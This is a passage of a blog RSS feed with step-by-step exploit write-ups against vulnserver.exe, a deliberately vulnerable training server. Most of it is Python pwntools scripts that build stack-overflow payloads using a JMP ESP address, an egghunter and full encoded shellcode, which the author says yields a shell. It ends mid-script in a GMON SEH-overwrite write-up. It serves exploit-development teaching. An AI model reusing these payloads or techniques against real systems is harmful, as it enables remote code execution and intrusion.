alt="" src="https://cdn-images-1.medium.com/max/979/1*eM5m-KWpLGmDEKte5wrdug.png" /></figure><p>Going back to the netcat listener, it seems that the shellcode was executed successfully.</p><p>Let’s remove the debugger on our final script.</p><pre>from pwn import *</pre><pre>host = &#39;192.168.136.241&#39;<br>port = 9999</pre><pre>r = remote(host, port)</pre><pre>shellcode =  b&quot;&quot;<br>shellcode += b&quot;\xba\x36\xdb\xa5\x76\xd9\xc4\xd9\x74\x24\xf4&quot;<br>shellcode += b&quot;\x58\x2b\xc9\xb1\x52\x83\xc0\x04\x31\x50\x0e&quot;<br>shellcode += b&quot;\x03\x66\xd5\x47\x83\x7a\x01\x05\x6c\x82\xd2&quot;<br>shellcode += b&quot;\x6a\xe4\x67\xe3\xaa\x92\xec\x54\x1b\xd0\xa0&quot;<br>shellcode += b&quot;\x58\xd0\xb4\x50\xea\x94\x10\x57\x5b\x12\x47&quot;<br>shellcode += b&quot;\x56\x5c\x0f\xbb\xf9\xde\x52\xe8\xd9\xdf\x9c&quot;<br>shellcode += b&quot;\xfd\x18\x27\xc0\x0c\x48\xf0\x8e\xa3\x7c\x75&quot;<br>shellcode += b&quot;\xda\x7f\xf7\xc5\xca\x07\xe4\x9e\xed\x26\xbb&quot;<br>shellcode += b&quot;\x95\xb7\xe8\x3a\x79\xcc\xa0\x24\x9e\xe9\x7b&quot;<br>shellcode += b&quot;\xdf\x54\x85\x7d\x09\xa5\x66\xd1\x74\x09\x95&quot;<br>shellcode += b&quot;\x2b\xb1\xae\x46\x5e\xcb\xcc\xfb\x59\x08\xae&quot;<br>shellcode += b&quot;\x27\xef\x8a\x08\xa3\x57\x76\xa8\x60\x01\xfd&quot;<br>shellcode += b&quot;\xa6\xcd\x45\x59\xab\xd0\x8a\xd2\xd7\x59\x2d&quot;<br>shellcode += b&quot;\x34\x5e\x19\x0a\x90\x3a\xf9\x33\x81\xe6\xac&quot;<br>shellcode += b&quot;\x4c\xd1\x48\x10\xe9\x9a\x65\x45\x80\xc1\xe1&quot;<br>shellcode += b&quot;\xaa\xa9\xf9\xf1\xa4\xba\x8a\xc3\x6b\x11\x04&quot;<br>shellcode += b&quot;\x68\xe3\xbf\xd3\x8f\xde\x78\x4b\x6e\xe1\x78&quot;<br>shellcode += b&quot;\x42\xb5\xb5\x28\xfc\x1c\xb6\xa2\xfc\xa1\x63&quot;<br>shellcode += b&quot;\x64\xac\x0d\xdc\xc5\x1c\xee\x8c\xad\x76\xe1&quot;<br>shellcode += b&quot;\xf3\xce\x79\x2b\x9c\x65\x80\xbc\x63\xd1\x02&quot;<br>shellcode += b&quot;\xca\x0c\x20\x12\x22\x91\xad\xf4\x2e\x39\xf8&quot;<br>shellcode += b&quot;\xaf\xc6\xa0\xa1\x3b\x76\x2c\x7c\x46\xb8\xa6&quot;<br>shellcode += b&quot;\x73\xb7\x77\x4f\xf9\xab\xe0\xbf\xb4\x91\xa7&quot;<br>shellcode += b&quot;\xc0\x62\xbd\x24\x52\xe9\x3d\x22\x4f\xa6\x6a&quot;<br>shellcode += b&quot;\x63\xa1\xbf\xfe\x99\x98\x69\x1c\x60\x7c\x51&quot;<br>shellcode += b&quot;\xa4\xbf\xbd\x5c\x25\x4d\xf9\x7a\x35\x8b\x02&quot;<br>shellcode += b&quot;\xc7\x61\x43\x55\x91\xdf\x25\x0f\x53\x89\xff&quot;<br>shellcode += b&quot;\xfc\x3d\x5d\x79\xcf\xfd\x1b\x86\x1a\x88\xc3&quot;<br>shellcode += b&quot;\x37\xf3\xcd\xfc\xf8\x93\xd9\x85\xe4\x03\x25&quot;<br>shellcode += b&quot;\x5c\xad\x34\x6c\xfc\x84\xdc\x29\x95\x94\x80&quot;<br>shellcode += b&quot;\xc9\x40\xda\xbc\x49\x60\xa3\x3a\x51\x01\xa6&quot;<br>shellcode += b&quot;\x07\xd5\xfa\xda\x18\xb0\xfc\x49\x18\x91&quot;</pre><pre>payload = &quot;TRUN .&quot;<br>payload += &quot;arzy&quot;*2<br>payload += &quot;\x90&quot;*100<br>payload += shellcode</pre><pre>r.readline()<br>r.sendline(payload)<br>r.readline()<br>r.close()</pre><pre>#Reopening connection to vulnserver<br>r = remote(host, port)</pre><pre>egghunter = &quot;\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74&quot;<br>egghunter += &quot;\xef\xb8\x61\x72\x7a\x79\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7&quot;</pre><pre>payload = &quot;&quot;<br>payload += &quot;GTER &quot;<br>payload += &quot;A&quot;*(151 - 50 + 2 + 4) # -50 for egghunter buffer, +4 for JMP ESP buffer<br>payload += egghunter<br>payload += &quot;B&quot;*(48 - 32 - 4) # 48 (buffer for egghunter - egghunter length), -4 for JMP ESP alignment<br>payload += p32(0x625011af) # JMP ESP<br>payload += &quot;\xeb\xce\x90\x90&quot; # JMP -50</pre><pre>r.sendline(payload)<br>r.close()</pre><p>— ar33zy</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f487673c4873" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting vulnserver.exe — KSTET command using egghunter]]></title>
            <link>https://medium.com/@ar33zy/exploiting-vulnserver-exe-kstet-command-using-egghunter-218f807353ee?source=rss-a482b0075375------2</link>
            <guid isPermaLink="false">https://medium.com/p/218f807353ee</guid>
            <category><![CDATA[vulnserver]]></category>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[windows-exploit]]></category>
            <dc:creator><![CDATA[ar33zy]]></dc:creator>
            <pubDate>Sun, 05 Jul 2020 08:42:11 GMT</pubDate>
            <atom:updated>2020-07-05T15:24:13.766Z</atom:updated>
            <content:encoded><![CDATA[<h3>Exploiting vulnserver.exe — KSTET command using egghunter</h3><p>In this write-up, I will discuss about attacking KSTET command of vulnserver.exe with egghunter.</p><p>To get started, let’s read the source code of vulnserver.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*6KiMs9Z2pDRygZT_VnKJlg.png" /></figure><p>The code tells us that it only copies <strong>100 bytes</strong> of our input <strong>(RecvBuf) </strong>to <strong>KstetBuf</strong>, and it passes <strong>KstetBuf </strong>to <strong>Function2().</strong></p><p>Let’s inspect <strong>Function2 </strong>to have a better understanding what happens next.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/268/1*KLVHplQtPi1ZeuZ_34Jueg.png" /></figure><p>The contents of <strong>KstetBuf </strong>is copied to <strong>Buffer2S</strong> without checking the length. This is where the vulnerability occurs. Since <strong>Buffer2S </strong>can only handle <strong>60</strong> <strong>bytes </strong>and <strong>KstetBuf </strong>can handle up to <strong>100 bytes </strong>of input, we can smash the stack by sending a payload greater than <strong>60 bytes.</strong></p><p>Our initial payload should look like this.</p><pre>from pwn import *</pre><pre>host = &#39;192.168.136.241&#39;<br>port = 9999</pre><pre>r = remote(host, port)</pre><pre>payload = &quot;&quot;<br>payload += &quot;KSTET &quot;<br>payload += &quot;A&quot;*100</pre><pre>r.sendline(payload)<br>r.close()</pre><p>Sending this payload to <strong>vulnserver </strong>makes the program crash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*es2BL6EkuSUAaIMVe-j_Gg.png" /></figure><p>Upon checking the registers, it seems that we can now control the instruction pointer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/416/1*jZT-sqw9ipe3sLhkQWbmFg.png" /></figure><p>Let’s fuzz this program to get the offset we need to control EIP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/1*3NLtBieTFPQ9UuJDrdFFtA.png" /></figure><pre>from pwn import *</pre><pre>host = &#39;192.168.136.241&#39;<br>port = 9999</pre><pre>r = remote(host, port)</pre><pre>payload = &quot;&quot;<br>payload += &quot;KSTET &quot;<br>payload += &quot;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A&quot;</pre><pre>r.sendline(payload)<br>r.close()</pre><p>Sending this payload gives us the unique pattern that has overwritten the instruction pointer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/418/1*9eevoMh67vOn_afv9hPNIQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*hvWMw-MQ9oi5VzgCJUEdNg.png" /></figure><p>We can now control the instruction pointer with <strong>70 bytes </strong>of buffer.</p><p>Now, our issue here is that we only have <strong>100 bytes</strong> of space for our payload, and our shellcode have a length of <strong>300 </strong>to <strong>400 </strong>on average. We need to do a trick for sending our shellcode on the program, and at the same time jumping into it.</p><p>Upon checking again the source code, I have seen some unexploitable commands that can be used to inject our shellcode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*c9TdiKOysF36sQrzFjascw.png" /></figure><p>GDOG command stores <strong>1024 bytes</strong> of our input to <strong>GdogBuf</strong>. Given this, we need to have a 2-stage payload to make our exploit work.</p><ul><li>Stage 1 — injecting our payload using GDOG</li><li>Stage 2 — jumping to shellcode using KSTET vulnerability</li></ul><p>Since we can say that using the stage 1 payload, our shellcode can be located inside the program. Given this, we can use the <strong>EGGHUNTING </strong>technique.</p><p>To give a quick background about <strong>egghunter</strong>, it is a <strong>short shellcode</strong> that locates a specific pattern (<strong>the egg</strong>) in the memory. Basically, it locates and executes the shellcode that we injected beforehand. You can read more about this <strong>egghunters </strong>on this <a href="https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/">page</a>.</p><p>We can easily generate an egghunter shellcode with the help of <strong>mona </strong>by using <strong>!mona egg -t arzy</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*uP4_TTFb6yf0jrqxePIHsA.png" /></figure><p>Now, we need to think of a way to execute this egghunter shellcode. The length of this shellcode is<strong> 32 bytes, </strong>and we have a limited space for our payload. We can only place this shellcode <strong>in the buffer before our instruction pointer control</strong>.</p><p>Our stage 2 payload structure should look like this.</p><pre>payload = &lt;buffer with egghunter shellcode&gt; + &lt;instruction pointer control&gt;</pre><p>Now, we need to jump backwards to our <strong>egghunter shellcode</strong> by using <strong>JMP ESP</strong> and <strong>RELATIVE SHORT JMP.</strong></p><blockquote>I have introduced <strong>JMP ESP</strong> and <strong>RELATIVE SHORT JMP</strong> from my previous posts, you may read about them from these posts.<br>- <a href="https://medium.com/hackstreetboys/exploiting-vulnserver-exe-trun-command-using-jmp-esp-technique-464e6d0907d3">JMP ESP</a><br>- <a href="https://medium.com/hackstreetboys/exploiting-vulnserver-exe-gmon-command-using-seh-overwrite-26c114c32626">RELATIVE SHORT JMP</a></blockquote><p>Let’s check if there is an available <strong>JMP ESP </strong>instruction that we can use with the help of <strong>mona</strong>. We can simply use <strong>!mona jmp -r esp </strong>to get a list of <strong>JMP ESP</strong> instructions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*T5ObFTveVw9TISUJDHZFMQ.png" /></figure><p>We can use <strong>0x625011af</strong> as our <strong>JMP ESP</strong> instruction.</p><p>Next, we need to construct our <strong>RELATIVE SHORT JMP</strong> instruction. Since our egghunter is just <strong>32 bytes</strong> and our buffer length is <strong>70 bytes</strong>, we can try to use <strong>JMP -50</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*0LKx1L2wCDpb9EsC2neO5w.png" /></figure><p>Let’s reconstruct our payload structure, it should now look like this.</p><pre>payload = &lt;buffer with egghunter&gt; + &lt;jmp esp&gt; + &lt;jmp -50&gt;</pre><p>Combining everything above, our payload script should now look like this. Let’s use “<strong>\xcc</strong>” as our egghunter placeholder.</p><pre>from pwn import *</pre><pre>host = &#39;192.168.136.241&#39;<br>port = 9999</pre><pre>r = remote(host, port)</pre><pre>payload = &quot;&quot;<br>payload += &quot;KSTET &quot;<br>payload += &quot;A&quot;*(70 - 50 + 2) # -50 for egghunter buffer<br>payload += &quot;\xcc&quot;*32 # egghunter placeholder<br>payload += &quot;B&quot;*(48 - 32) # 48 (buffer for egghunter - egghunter length)<br>payload += p32(0x625011af) # JMP ESP<br>payload += &quot;\xeb\xce\x90\x90&quot; # JMP -50</pre><pre>r.sendline(payload)<br>r.close()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*HN4n6T4BssBK5VjqkZhPmQ.png" /></figure><p>Upon checking, we did not exactly land on our first “<strong>\xcc</strong>”. This is because we forgot to consider the 4 bytes of <strong>JMP ESP </strong>during our payload creation.</p><p>Let’s reconstruct our payload.</p><pre>from pwn import *</pre><pre>host = &#39;192.168.136.241&#39;<br>port = 9999</pre><pre>r = remote(host, port)</pre><pre>payload = &quot;&quot;<br>payload += &quot;KSTET &quot;<br>payload += &quot;A&quot;*(70 - 50 + 2 + 4) # -50 for egghunter buffer, +4 for JMP ESP alignment<br>payload += &quot;\xcc&quot;*32 # egghunter placeholder<br>payload += &quot;B&quot;*(48 - 32 - 4) # 48 (buffer for egghunter - egghunter length - 4 bytes for JMP ESP)<br>payload += p32(0x625011af) # JMP ESP<br>payload += &quot;\xeb\xce\x90\x90&quot; # JMP -50</pre><pre>r.sendline(payload)<br>r.close()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*79hNM321f8Jt3oG5zv8CvQ.png" /></figure><p>We successfully landed on the location that we want. Let’s replace this with our egghunter and construct our stage 1 payload.</p><p>Our <strong>stage 1 payload</strong> should include the <strong>egg </strong>and the <strong>shellcode</strong>. The payload structure should look like this.</p><pre>payload = &quot;arzy&quot;*2 + NOP sled + shellcode</pre><p>According to the <a href="https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/">resource of egghunter above</a>, the shellcode must be prepended with the egg two times.</p><blockquote>You just have to remember :</blockquote><blockquote>– The marker needs to be unique (Usually you need to define the tag as 4 bytes inside the egg hunter, and 2 times (2 times right after each other, so 8 bytes) prepended to the actual shellcode.</blockquote><p>Now, let’s generate our shellcode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*daJhkYsONGy7m57q1CLHaw.png" /></figure><p>To check if the egghunter can really locate our shellcode, we can add a debugging instruction (<strong>\xcc</strong>) before the NOP sled.</p><p>Let’s now combine everything above in our payload script.</p><pre>from pwn import *</pre><pre>host = &#39;192.168.136.241&#39;<br>port = 9999</pre><pre>r = remote(host, port)</pre><pre>shellcode =  b&quot;&quot;<br>shellcode += b&quot;\xbb\x0d\xb7\xd7\xc5\xdb\xd9\xd9\x74\x24\xf4&quot;<br>shellcode += b&quot;\x58\x33\xc9\xb1\x52\x83\xe8\xfc\x31\x58\x0e&quot;<br>shellcode += b&quot;\x03\x55\xb9\x35\x30\x99\x2d\x3b\xbb\x61\xae&quot;<br>shellcode += b&quot;\x5c\x35\x84\x9f\x5c\x21\xcd\xb0\x6c\x21\x83&quot;<br>shellcode += b&quot;\x3c\x06\x67\x37\xb6\x6a\xa0\x38\x7f\xc0\x96&quot;<br>shellcode += b&quot;\x77\x80\x79\xea\x16\x02\x80\x3f\xf8\x3b\x4b&quot;<br>shellcode += b&quot;\x32\xf9\x7c\xb6\xbf\xab\xd5\xbc\x12\x5b\x51&quot;<br>shellcode += b&quot;\x88\xae\xd0\x29\x1c\xb7\x05\xf9\x1f\x96\x98&quot;<br>shellcode += b&quot;\x71\x46\x38\x1b\x55\xf2\x71\x03\xba\x3f\xcb&quot;<br>shellcode += b&quot;\xb8\x08\xcb\xca\x68\x41\x34\x60\x55\x6d\xc7&quot;<br>shellcode += b&quot;\x78\x92\x4a\x38\x0f\xea\xa8\xc5\x08\x29\xd2&quot;<br>shellcode += b&quot;\x11\x9c\xa9\x74\xd1\x06\x15\x84\x36\xd0\xde&quot;<br>shellcode += b&quot;\x8a\xf3\x96\xb8\x8e\x02\x7a\xb3\xab\x8f\x7d&quot;<br>shellcode += b&quot;\x13\x3a\xcb\x59\xb7\x66\x8f\xc0\xee\xc2\x7e&quot;<br>shellcode += b&quot;\xfc\xf0\xac\xdf\x58\x7b\x40\x0b\xd1\x26\x0d&quot;<br>shellcode += b&quot;\xf8\xd8\xd8\xcd\x96\x6b\xab\xff\x39\xc0\x23&quot;<br>shellcode += b&quot;\x4c\xb1\xce\xb4\xb3\xe8\xb7\x2a\x4a\x13\xc8&quot;<br>shellcode += b&quot;\x63\x89\x47\x98\x1b\x38\xe8\x73\xdb\xc5\x3d&quot;<br>shellcode += b&quot;\xd3\x8b\x69\xee\x94\x7b\xca\x5e\x7d\x91\xc5&quot;<br>shellcode += b&quot;\x81\x9d\x9a\x0f\xaa\x34\x61\xd8\x15\x60\xe1&quot;<br>shellcode += b&quot;\xee\xfe\x73\xf1\x1f\xa3\xfa\x17\x75\x4b\xab&quot;<br>shellcode += b&quot;\x80\xe2\xf2\xf6\x5a\x92\xfb\x2c\x27\x94\x70&quot;<br>shellcode += b&quot;\xc3\xd8\x5b\x71\xae\xca\x0c\x71\xe5\xb0\x9b&quot;<br>shellcode += b&quot;\x8e\xd3\xdc\x40\x1c\xb8\x1c\x0e\x3d\x17\x4b&quot;<br>shellcode += b&quot;\x47\xf3\x6e\x19\x75\xaa\xd8\x3f\x84\x2a\x22&quot;<br>shellcode += b&quot;\xfb\x53\x8f\xad\x02\x11\xab\x89\x14\xef\x34&quot;<br>shellcode += b&quot;\x96\x40\xbf\x62\x40\x3e\x79\xdd\x22\xe8\xd3&quot;<br>shellcode += b&quot;\xb2\xec\x7c\xa5\xf8\x2e\xfa\xaa\xd4\xd8\xe2&quot;<br>shellcode += b&quot;\x1b\x81\x9c\x1d\x93\x45\x29\x66\xc9\xf5\xd6&quot;<br>shellcode += b&quot;\xbd\x49\x05\x9d\x9f\xf8\x8e\x78\x4a\xb9\xd2&quot;<br>shellcode += b&quot;\x7a\xa1\xfe\xea\xf8\x43\x7f\x09\xe0\x26\x7a&quot;<br>shellcode += b&quot;\x55\xa6\xdb\xf6\xc6\x43\xdb\xa5\xe7\x41&quot;</pre><pre>payload = &quot;&quot;<br>payload += &quot;GDOG &quot;<br>payload += &quot;arzy&quot;*2<br>payload += &quot;\xcc&quot;*4 # debugger<br>payload += &quot;\x90&quot;*100<br>payload += shellcode<br>r.sendline(payload)<br>r.recvline()</pre><pre>egghunter = &quot;\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74&quot;<br>egghunter += &quot;\xef\xb8\x61\x72\x7a\x79\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7&quot;</pre><pre>payload = &quot;&quot;<br>payload += &quot;KSTET &quot;<br>payload += &quot;A&quot;*(70 - 50 + 2 + 4) # -50 for egghunter buffer, +4 for JMP ESP alignment<br>payload += egghunter<br>payload += &quot;B&quot;*(48 - 32 - 4) # 48 (buffer for egghunter - egghunter length - 4 bytes for JMP ESP)<br>payload += p32(0x625011af) # JMP ESP<br>payload += &quot;\xeb\xce\x90\x90&quot; # JMP -50</pre><pre>r.sendline(payload)<br>r.close()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*bhjS9RKmb-ULiuKOVG-9ig.png" /></figure><p>It successfully landed on our debugger. Let’s remove this debugger for our final payload script.</p><pre>from pwn import *</pre><pre>host = &#39;192.168.136.241&#39;<br>port = 9999</pre><pre>r = remote(host, port)</pre><pre>shellcode =  b&quot;&quot;<br>shellcode += b&quot;\xbb\x0d\xb7\xd7\xc5\xdb\xd9\xd9\x74\x24\xf4&quot;<br>shellcode += b&quot;\x58\x33\xc9\xb1\x52\x83\xe8\xfc\x31\x58\x0e&quot;<br>shellcode += b&quot;\x03\x55\xb9\x35\x30\x99\x2d\x3b\xbb\x61\xae&quot;<br>shellcode += b&quot;\x5c\x35\x84\x9f\x5c\x21\xcd\xb0\x6c\x21\x83&quot;<br>shellcode += b&quot;\x3c\x06\x67\x37\xb6\x6a\xa0\x38\x7f\xc0\x96&quot;<br>shellcode += b&quot;\x77\x80\x79\xea\x16\x02\x80\x3f\xf8\x3b\x4b&quot;<br>shellcode += b&quot;\x32\xf9\x7c\xb6\xbf\xab\xd5\xbc\x12\x5b\x51&quot;<br>shellcode += b&quot;\x88\xae\xd0\x29\x1c\xb7\x05\xf9\x1f\x96\x98&quot;<br>shellcode += b&quot;\x71\x46\x38\x1b\x55\xf2\x71\x03\xba\x3f\xcb&quot;<br>shellcode += b&quot;\xb8\x08\xcb\xca\x68\x41\x34\x60\x55\x6d\xc7&quot;<br>shellcode += b&quot;\x78\x92\x4a\x38\x0f\xea\xa8\xc5\x08\x29\xd2&quot;<br>shellcode += b&quot;\x11\x9c\xa9\x74\xd1\x06\x15\x84\x36\xd0\xde&quot;<br>shellcode += b&quot;\x8a\xf3\x96\xb8\x8e\x02\x7a\xb3\xab\x8f\x7d&quot;<br>shellcode += b&quot;\x13\x3a\xcb\x59\xb7\x66\x8f\xc0\xee\xc2\x7e&quot;<br>shellcode += b&quot;\xfc\xf0\xac\xdf\x58\x7b\x40\x0b\xd1\x26\x0d&quot;<br>shellcode += b&quot;\xf8\xd8\xd8\xcd\x96\x6b\xab\xff\x39\xc0\x23&quot;<br>shellcode += b&quot;\x4c\xb1\xce\xb4\xb3\xe8\xb7\x2a\x4a\x13\xc8&quot;<br>shellcode += b&quot;\x63\x89\x47\x98\x1b\x38\xe8\x73\xdb\xc5\x3d&quot;<br>shellcode += b&quot;\xd3\x8b\x69\xee\x94\x7b\xca\x5e\x7d\x91\xc5&quot;<br>shellcode += b&quot;\x81\x9d\x9a\x0f\xaa\x34\x61\xd8\x15\x60\xe1&quot;<br>shellcode += b&quot;\xee\xfe\x73\xf1\x1f\xa3\xfa\x17\x75\x4b\xab&quot;<br>shellcode += b&quot;\x80\xe2\xf2\xf6\x5a\x92\xfb\x2c\x27\x94\x70&quot;<br>shellcode += b&quot;\xc3\xd8\x5b\x71\xae\xca\x0c\x71\xe5\xb0\x9b&quot;<br>shellcode += b&quot;\x8e\xd3\xdc\x40\x1c\xb8\x1c\x0e\x3d\x17\x4b&quot;<br>shellcode += b&quot;\x47\xf3\x6e\x19\x75\xaa\xd8\x3f\x84\x2a\x22&quot;<br>shellcode += b&quot;\xfb\x53\x8f\xad\x02\x11\xab\x89\x14\xef\x34&quot;<br>shellcode += b&quot;\x96\x40\xbf\x62\x40\x3e\x79\xdd\x22\xe8\xd3&quot;<br>shellcode += b&quot;\xb2\xec\x7c\xa5\xf8\x2e\xfa\xaa\xd4\xd8\xe2&quot;<br>shellcode += b&quot;\x1b\x81\x9c\x1d\x93\x45\x29\x66\xc9\xf5\xd6&quot;<br>shellcode += b&quot;\xbd\x49\x05\x9d\x9f\xf8\x8e\x78\x4a\xb9\xd2&quot;<br>shellcode += b&quot;\x7a\xa1\xfe\xea\xf8\x43\x7f\x09\xe0\x26\x7a&quot;<br>shellcode += b&quot;\x55\xa6\xdb\xf6\xc6\x43\xdb\xa5\xe7\x41&quot;</pre><pre>payload = &quot;&quot;<br>payload += &quot;GDOG &quot;<br>payload += &quot;arzy&quot;*2<br>payload += &quot;\x90&quot;*100<br>payload += shellcode<br>r.sendline(payload)<br>r.recvline()</pre><pre>egghunter = &quot;\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74&quot;<br>egghunter += &quot;\xef\xb8\x61\x72\x7a\x79\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7&quot;</pre><pre>payload = &quot;&quot;<br>payload += &quot;KSTET &quot;<br>payload += &quot;A&quot;*(70 - 50 + 2 + 4) # -50 for egghunter buffer, +4 for JMP ESP alignment<br>payload += egghunter<br>payload += &quot;B&quot;*(48 - 32 - 4) # 48 (buffer for egghunter - egghunter length - 4 bytes for JMP ESP)<br>payload += p32(0x625011af) # JMP ESP<br>payload += &quot;\xeb\xce\x90\x90&quot; # JMP -50</pre><pre>r.sendline(payload)<br>r.close()</pre><p>Executing this payload gives us a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*YiD1LktrLTIWpTtf-eUQ2Q.png" /></figure><p>— ar33zy</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=218f807353ee" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting vulnserver.exe —GMON command using SEH overwrite]]></title>
            <link>https://medium.com/@ar33zy/exploiting-vulnserver-exe-gmon-command-using-seh-overwrite-26c114c32626?source=rss-a482b0075375------2</link>
            <guid isPermaLink="false">https://medium.com/p/26c114c32626</guid>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[windows-exploit]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[vulnserver]]></category>
            <dc:creator><![CDATA[ar33zy]]></dc:creator>
            <pubDate>Sun, 05 Jul 2020 06:47:51 GMT</pubDate>
            <atom:updated>2020-07-05T15:24:32.788Z</atom:updated>
            <content:encoded><![CDATA[<h3>Exploiting vulnserver.exe — GMON command using SEH overwrite</h3><p>In this write-up, I will discuss about attacking GMON command of vulnserver.exe with SEH overwrite.</p><p>To get started, let’s read the source code of vulnserver.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*IdrO0xmxSRpIV0r0W8aKLg.png" /></figure><p>The code tells us that it passes <strong>RecvBuf </strong>to <strong>Function3() if our input contains “/” and the input length is greater than 3950 bytes.</strong></p><p>Let’s inspect <strong>Function3 </strong>to have a better understanding what happens next.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/266/1*P8ghBxFTsSP74ZnSmuN9ZA.png" /></figure><p>The contents of <strong>RecvBuf </strong>is copied to <strong>Buffer2S</strong> without checking the length. This is where the vulnerability occurs. Since <strong>Buffer2S </strong>can only handle <strong>2000</strong> <strong>bytes </strong>and <strong>RecvBuf </strong>must be at least <strong>3951 bytes </strong>of input, we can smash the stack by sending a payload greater than <strong>2000 bytes</strong>.</p><p>Since <strong>RecvBuf </strong>must be greater than <strong>3950 bytes</strong>,<strong> </strong>let’s try sending a payload with a length of <strong>4000 bytes </strong>and observe what happens.</p><pre>from pwn import *</pre><pre>host = &#39;192.168.136.241&#39;<br>port = 9999</pre><pre>r = remote(host, port)</pre><pre>payload = &quot;&quot;<br>payload += &quot;GMON /&quot;<br>payload += &quot;A&quot;*4000</pre><pre>r.sendline(payload)<br>r.close()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bDOD5e2_yqnrxxeo5Qz3kg.png" /></figure><p>It seems that the EIP was not overwritten.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/1*BAtUXo0LNJuUoUUWJXzg_A.png" /></figure><p>Let’s check the SEH chain viewer of Immunity debugger.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/359/1*OS2fkVTrcMqj_BYwO1XXDA.png" /></figure><p>Instead of an <strong>EIP </strong>overwrite, we have overwritten the SEH value and the pointer to the next SEH value.</p><p>To give a quick background about <strong>SEH </strong>or <strong>Structured Exception Handling</strong>, it handles all issues encountered by the program during runtime. Basically, when the program crashes unexpectedly, <strong>SEH </strong>handles the program issue in a graceful manner.</p><blockquote>You can read more about SEH exploits from <a href="https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/">corelan</a>.</blockquote><p>Going back to the exploitation, let’s fuzz the program to get the offset we need to control the <strong>SEH </strong>value and the <strong>NSEH pointer</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*NHPjKLjUqgbUokdFeUt1ig.png" /></figure><pre>from pwn import *</pre><pre>host = &#39;192.168.136.241&#39;<br>port = 9999</pre><pre>r = remote(host, port)</pre><pre>payload = &quot;&quot;<br>payload += &quot;GMON /&quot;<br>payload += 